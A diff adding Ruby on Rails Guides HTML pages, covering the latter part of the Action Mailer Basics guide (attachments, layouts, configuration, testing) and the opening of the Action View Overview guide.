+    mail(:to =&gt; user.email,
+         :subject =&gt; &quot;Welcome to My Awesome Site&quot;)
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.</p>
+<ul>
+	<li><tt>default Hash</tt> &#8211; This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis</li>
+	<li><tt>mail</tt> &#8211; The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in.</li>
+</ul>
+<p>Just like controllers, any instance variables we define in the method become available for use in the views.</p>
+<h5 id="create-a-mailer-view">2.1.3 Create a Mailer View</h5>
+<p>Create a file called <tt>welcome_email.html.erb</tt> in <tt>app/views/user_mailer/</tt>. This will be the template used for the email, formatted in <span class="caps">HTML</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta content=&quot;text/html; charset=UTF-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt;Welcome to example.com, &lt;%= @user.name %&gt;&lt;/h1&gt;
+    &lt;p&gt;
+      You have successfully signed up to example.com,
+      your username is: &lt;%= @user.login %&gt;.&lt;br/&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      To login to the site, just follow this link: &lt;%= @url %&gt;.
+    &lt;/p&gt;
+    &lt;p&gt;Thanks for joining and have a great day!&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>It is also a good idea to make a text part for this email, to do this, create a file called <tt>welcome_email.text.erb</tt> in <tt>app/views/user_mailer/</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+Welcome to example.com, &lt;%= @user.name %&gt;
+===============================================
+
+You have successfully signed up to example.com,
+your username is: &lt;%= @user.login %&gt;.
+
+To login to the site, just follow this link: &lt;%= @url %&gt;.
+
+Thanks for joining and have a great day!
+</pre>
+</div>
+</notextile>
+
+<p>When you call the <tt>mail</tt> method now, Action Mailer will detect the two templates (text and <span class="caps">HTML</span>) and automatically generate a <tt>multipart/alternative</tt> email.</p>
+<h5 id="wire-it-up-so-that-the-system-sends-the-email-when-a-user-signs-up">2.1.4 Wire It Up So That the System Sends the Email When a User Signs Up</h5>
+<p>There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model.  However, in Rails 3, mailers are really just another way to render a view.  Instead of rendering a view and sending out the <span class="caps">HTTP</span> protocol, they are just sending it out through the Email protocols instead.  Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.</p>
+<p>Setting this up is painfully simple.</p>
+<p>First off, we need to create a simple <tt>User</tt> scaffold:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold user name:string email:string login:string
+$ rake db:migrate
+</pre>
+</div>
+</notextile>
+
+<p>Now that we have a user model to play with, we will just edit the <tt>app/controllers/users_controller.rb</tt> make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UsersController &lt; ApplicationController
+  # POST /users
+  # POST /users.xml
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # Tell the UserMailer to send a welcome Email after save
+        UserMailer.welcome_email(@user).deliver
+
+        format.html { redirect_to(@user, :notice =&gt; 'User was successfully created.') }
+        format.xml  { render :xml =&gt; @user, :status =&gt; :created, :location =&gt; @user }
+      else
+        format.html { render :action =&gt; &quot;new&quot; }
+        format.xml  { render :xml =&gt; @user.errors, :status =&gt; :unprocessable_entity }
+      end
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This provides a much simpler implementation that does not require the registering of observers and the like.</p>
+<p>The method <tt>welcome_email</tt> returns a Mail::Message object which can then just be told <tt>deliver</tt> to send itself out.</p>
+<div class='note'><p>In previous versions of Rails, you would call <tt>deliver_welcome_email</tt> or <tt>create_welcome_email</tt> however in Rails 3.0 this has been deprecated in favour of just calling the method name itself.</p></div>
+<div class='warning'><p>Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job.</p></div>
+<h4 id="auto-encoding-header-values">2.2 Auto encoding header values</h4>
+<p>Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.</p>
+<p>If you are using <span class="caps">UTF</span>-8 as your character set, you do not have to do anything special, just go ahead and send in <span class="caps">UTF</span>-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-<span class="caps">ASCII</span>.</p>
+<p>For more complex examples, such as defining alternate character sets or self encoding text first, please refer to the Mail library.</p>
+<h4 id="complete-list-of-action-mailer-methods">2.3 Complete List of Action Mailer Methods</h4>
+<p>There are just three methods that you need to send pretty much any email message:</p>
+<ul>
+	<li><tt>headers</tt> &#8211; Specifies any header on the email you want, you can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = &#8216;value&#8217;</tt></li>
+	<li><tt>attachments</tt> &#8211; Allows you to add attachments to your email, for example <tt>attachments[&#8216;file-name.jpg&#8217;] = File.read(&#8216;file-name.jpg&#8217;)</tt></li>
+	<li><tt>mail</tt> &#8211; Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.</li>
+</ul>
+<h5 id="custom-headers">2.3.1 Custom Headers</h5>
+<p>Defining custom headers are simple, you can do it one of three ways:</p>
+<ul>
+	<li>Defining a header field as a parameter to the <tt>mail</tt> method:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+mail(&quot;X-Spam&quot; =&gt; value)
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Passing in a key value assignment to the <tt>headers</tt> method:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+headers[&quot;X-Spam&quot;] = value
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Passing a hash of key value pairs to the <tt>headers</tt> method:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+headers {&quot;X-Spam&quot; =&gt; value, &quot;X-Special&quot; =&gt; another_value}
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>All <tt>X-Value</tt> headers per the RFC2822 can appear more than one time. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.</p></div>
+<h5 id="adding-attachments">2.3.2 Adding Attachments</h5>
+<p>Adding attachments has been simplified in Action Mailer 3.0.</p>
+<ul>
+	<li>Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Mail will automatically Base64 encode an attachment, if you want something different, pre encode your content and pass in the encoded content and encoding in a <tt>Hash</tt> to the <tt>attachments</tt> method.</p></div>
+<ul>
+	<li>Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+attachments['filename.jpg'] = {:mime_type =&gt; 'application/x-gzip',
+                               :encoding =&gt; 'SpecialEncoding',
+                               :content =&gt; encoded_content }
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.</p></div>
+<h5 id="making-inline-attachments">2.3.3 Making Inline Attachments</h5>
+<p>Inline attachments are now possible in ActionMailer.  While previously in the pre 3.0 version of Rails, you could do inline attachments, it involved a lot of hacking and determination to pull it off.</p>
+<p>ActionMailer now makes inline attachments as trivial as they should be.</p>
+<ul>
+	<li>Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def welcome
+  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+end
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling <tt>url</tt> on it and then passing the result into the <tt>image_tag</tt> method:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;Hello there, this is our image&lt;/p&gt;
+
+&lt;%= image_tag attachments['image.jpg'].url %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>As this is a standard call to <tt>image_tag</tt> you can pass in an options hash after the attachment url as you could for any other image:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;Hello there, this is our image&lt;/p&gt;
+
+&lt;%= image_tag attachments['image.jpg'].url, :alt =&gt; 'My Photo',
+                                            :class =&gt; 'photos' %&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="mailer-views">2.4 Mailer Views</h4>
+<p>Mailer views are located in the <tt>app/views/name_of_mailer_class</tt> directory. The specific mailer view is known to the class because it&#8217;s name is the same as the mailer method. So for example, in our example from above, our mailer view for the <tt>welcome_email</tt> method will be in <tt>app/views/user_mailer/welcome_email.html.erb</tt> for the <span class="caps">HTML</span> version and <tt>welcome_email.text.erb</tt> for the plain text version.</p>
+<p>To change the default mailer view for your action you do something like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  default :from =&gt; &quot;notifications@example.com&quot;
+
+  def welcome_email(user)
+    @user = user
+    @url  = &quot;http://example.com/login&quot;
+    mail(:to =&gt; user.email,
+         :subject =&gt; &quot;Welcome to My Awesome Site&quot;) do |format|
+      format.html { render 'another_template' }
+      format.text { render 'another_template' }
+    end
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Will render &#8216;another_template.text.erb&#8217; and &#8216;another_template.html.erb&#8217;.  The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt> etc.</p>
+<h4 id="action-mailer-layouts">2.5 Action Mailer Layouts</h4>
+<p>Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as <tt>user_mailer.html.erb</tt> and <tt>user_mailer.text.erb</tt> to be automatically recognized by your mailer as a layout.</p>
+<p>In order to use a different file just use:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+</pre>
+</div>
+</notextile>
+
+<p>Just like with controller views, use <tt>yield</tt> to render the view inside the layout.</p>
+<p>You can also pass in a <tt>:layout =&gt; &#8216;layout_name&#8217;</tt> option to the render call inside the format block to specify different layouts for different actions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  def welcome_email(user)
+    mail(:to =&gt; user.email) do |format|
+      format.html { render :layout =&gt; 'my_layout' }
+      format.text
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Will render the <span class="caps">HTML</span> part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.</p>
+<h4 id="generating-urls-in-action-mailer-views">2.6 Generating URLs in Action Mailer Views</h4>
+<p>URLs can be generated in mailer views using <tt>url_for</tt> or named routes.</p>
+<p>Unlike controllers, the mailer instance doesn&#8217;t have any context about the incoming request so you&#8217;ll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= url_for(:host =&gt; &quot;example.com&quot;,
+            :controller =&gt; &quot;welcome&quot;,
+            :action =&gt; &quot;greeting&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>When using named routes you only need to supply the <tt>:host</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= user_url(@user, :host =&gt; &quot;example.com&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Email clients have no web context and so paths have no base <span class="caps">URL</span> to form complete web addresses. Thus, when using named routes only the &#8220;_url&#8221; variant makes sense.</p>
+<p>It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option in the <tt>ActionMailer::Base.default_url_options</tt> hash as follows:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  default_url_options[:host] = &quot;example.com&quot;
+
+  def welcome_email(user)
+    @user = user
+    @url  = user_url(@user)
+    mail(:to =&gt; user.email,
+         :subject =&gt; &quot;Welcome to My Awesome Site&quot;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="sending-multipart-emails">2.7 Sending Multipart Emails</h4>
+<p>Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have <tt>welcome_email.text.erb</tt> and <tt>welcome_email.html.erb</tt> in <tt>app/views/user_mailer</tt>, Action Mailer will automatically send a multipart email with the <span class="caps">HTML</span> and text versions setup as different parts.</p>
+<p>The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method.  If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  def welcome_email(user)
+    @user = user
+    @url  = user_url(@user)
+    mail(:to =&gt; user.email,
+         :subject =&gt; &quot;Welcome to My Awesome Site&quot;) do |format|
+      format.html
+      format.text
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Will put the <span class="caps">HTML</span> part first, and the plain text part second.</p>
+<h4 id="sending-emails-with-attachments">2.8 Sending Emails with Attachments</h4>
+<p>Attachments can be added by using the <tt>attachment</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  def welcome_email(user)
+    @user = user
+    @url  = user_url(@user)
+    attachments['terms.pdf'] = File.read('/path/terms.pdf')
+    mail(:to =&gt; user.email,
+         :subject =&gt; &quot;Please see the Terms and Conditions attached&quot;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and <span class="caps">HTML</span> email messages.</p>
+<h3 id="receiving-emails">3 Receiving Emails</h3>
+<p>Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you&#8217;ll need:</p>
+<ul>
+	<li>Implement a <tt>receive</tt> method in your mailer.</li>
+</ul>
+<ul>
+	<li>Configure your email server to forward emails from the address(es) you would like your app to receive to <tt>/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'</tt>.</li>
+</ul>
+<p>Once a method called <tt>receive</tt> is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer <tt>receive</tt> instance method. Here&#8217;s an example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  def receive(email)
+    page = Page.find_by_address(email.to.first)
+    page.emails.create(
+      :subject =&gt; email.subject,
+      :body =&gt; email.body
+    )
+
+    if email.has_attachments?
+      for attachment in email.attachments
+        page.attachments.create({
+          :file =&gt; attachment,
+          :description =&gt; email.subject
+        })
+      end
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="using-action-mailer-helpers">4 Using Action Mailer Helpers</h3>
+<p>Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.</p>
+<h3 id="action-mailer-configuration">5 Action Mailer Configuration</h3>
+<p>The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc&#8230;)</p>
+<table>
+	<tr>
+		<td>template_root</td>
+		<td>Determines the base from which template references will be made.</td>
+	</tr>
+	<tr>
+		<td>logger</td>
+		<td>the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby&#8217;s own Logger and Log4r loggers.</td>
+	</tr>
+	<tr>
+		<td>smtp_settings</td>
+		<td>Allows detailed configuration for :smtp delivery method: :address &#8211; Allows you to use a remote mail server. Just change it from its default &#8220;localhost&#8221; setting.  :port  &#8211; On the off chance that your mail server doesn&#8217;t run on port 25, you can change it.  :domain &#8211; If you need to specify a <span class="caps">HELO</span> domain, you can do it here.  :user_name &#8211; If your mail server requires authentication, set the username in this setting.  :password &#8211; If your mail server requires authentication, set the password in this setting.  :authentication &#8211; If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</td>
+	</tr>
+	<tr>
+		<td>sendmail_settings</td>
+		<td>Allows you to override options for the :sendmail delivery method.  :location &#8211; The location of the sendmail executable. Defaults to /usr/sbin/sendmail.  :arguments &#8211; The command line arguments. Defaults to -i -t.</td>
+	</tr>
+	<tr>
+		<td>raise_delivery_errors</td>
+		<td>Whether or not errors should be raised if the email fails to be delivered.</td>
+	</tr>
+	<tr>
+		<td>delivery_method</td>
+		<td>Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.</td>
+	</tr>
+	<tr>
+		<td>perform_deliveries</td>
+		<td>Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.</td>
+	</tr>
+	<tr>
+		<td>deliveries</td>
+		<td>Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.</td>
+	</tr>
+</table>
+<h4 id="example-action-mailer-configuration">5.1 Example Action Mailer Configuration</h4>
+<p>An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+#   :location =&gt; '/usr/sbin/sendmail',
+#   :arguments =&gt; '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+</pre>
+</div>
+</notextile>
+
+<h4 id="action-mailer-configuration-for-gmail">5.2 Action Mailer Configuration for GMail</h4>
+<p>As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+  :address              =&gt; &quot;smtp.gmail.com&quot;,
+  :port                 =&gt; 587,
+  :domain               =&gt; 'baci.lindsaar.net',
+  :user_name            =&gt; '&lt;username&gt;',
+  :password             =&gt; '&lt;password&gt;',
+  :authentication       =&gt; 'plain',
+  :enable_starttls_auto =&gt; true  }
+</pre>
+</div>
+</notextile>
+
+<h3 id="mailer-testing">6 Mailer Testing</h3>
+<p>By default Action Mailer does not send emails in the test environment. They are just added to the <tt>ActionMailer::Base.deliveries</tt> array.</p>
+<p>Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailerTest &lt; ActionMailer::TestCase
+  def test_welcome_email
+    user = users(:some_user_in_your_fixtures)
+
+    # Send the email, then test that it got queued
+    email = UserMailer.welcome_email(user).deliver
+    assert !ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal [user.email], email.to
+    assert_equal &quot;Welcome to My Awesome Site&quot;, email.subject
+    assert_match /&lt;h1&gt;Welcome to example.com, #{user.name}&lt;\/h1&gt;/, email.encoded
+    assert_match /Welcome to example.com, #{user.name}/, email.encoded
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>In the test we send the email and store the returned object in the <tt>email</tt> variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect.</p>
+<h3 id="changelog">7 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/25">Lighthouse ticket</a></p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/action_view_overview.html
@@ -0,0 +1,1803 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Action View Overview</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Action View Overview</h2>
+<p>In this guide you will learn:</p>
+<ul>
+	<li>What Action View is, and how to use it with Rails</li>
+	<li>How to use Action View outside of Rails</li>
+	<li>How best to use templates, partials, and layouts</li>
+	<li>What helpers are provided by Action View, and how to make your own</li>
+	<li>How to use localized views</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#what-is-action-view">What is Action View?</a></li><li><a href="#using-action-view-with-rails">Using Action View with Rails</a></li><li><a href="#using-action-view-outside-of-rails">Using Action View outside of Rails</a></li><li><a href="#templates-partials-and-layouts">Templates, Partials and Layouts</a></li><li><a href="#using-templates-partials-and-layouts-in-the-rails-way">Using Templates, Partials and Layouts in &#8220;The Rails Way&#8221;</a></li><li><a href="#partial-layouts">Partial Layouts</a></li><li><a href="#view-paths">View Paths</a></li><li><a href="#overview-of-all-the-helpers-provided-by-action-view">Overview of all the helpers provided by Action View</a><ul><li><a href="#activerecordhelper">ActiveRecordHelper</a></li> <li><a href="#assettaghelper">AssetTagHelper</a></li> <li><a href="#atomfeedhelper">AtomFeedHelper</a></li> <li><a href="#benchmarkhelper">BenchmarkHelper</a></li> <li><a href="#cachehelper">CacheHelper</a></li> <li><a href="#capturehelper">CaptureHelper</a></li> <li><a href="#datehelper">DateHelper</a></li> <li><a href="#debughelper">DebugHelper</a></li> <li><a href="#formhelper">FormHelper</a></li> <li><a href="#formoptionshelper">FormOptionsHelper</a></li> <li><a href="#formtaghelper">FormTagHelper</a></li> <li><a href="#javascripthelper">JavaScriptHelper</a></li> <li><a href="#numberhelper">NumberHelper</a></li> <li><a href="#prototypehelper">PrototypeHelper</a></li> <li><a href="#prototypehelper-javascriptgenerator-generatormethods">PrototypeHelper::JavaScriptGenerator::GeneratorMethods</a></li></ul></li><li><a href="#localized-views">Localized Views</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="what-is-action-view">1 What is Action View?</h3>
+<p>Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing <span class="caps">CRUD</span> actions where necessary. Action View is then responsible for compiling the response.</p>
+<p>Action View templates are written using embedded Ruby in tags mingled with <span class="caps">HTML</span>. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It&#8217;s also easy to add new helpers to your application as it evolves.</p>
+<p>Note: Some features of Action View are tied to Active Record, but that doesn&#8217;t mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.</p>
+<h3 id="using-action-view-with-rails">2 Using Action View with Rails</h3>
+<p><span class="caps">TODO</span>&#8230;</p>
+<h3 id="using-action-view-outside-of-rails">3 Using Action View outside of Rails</h3>
+<p>Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small <a href="http://rack.rubyforge.org/">Rack</a> application that includes Action View functionality. This may be useful, for example, if you&#8217;d like access to Action View&#8217;s helpers in a Rack application.</p>
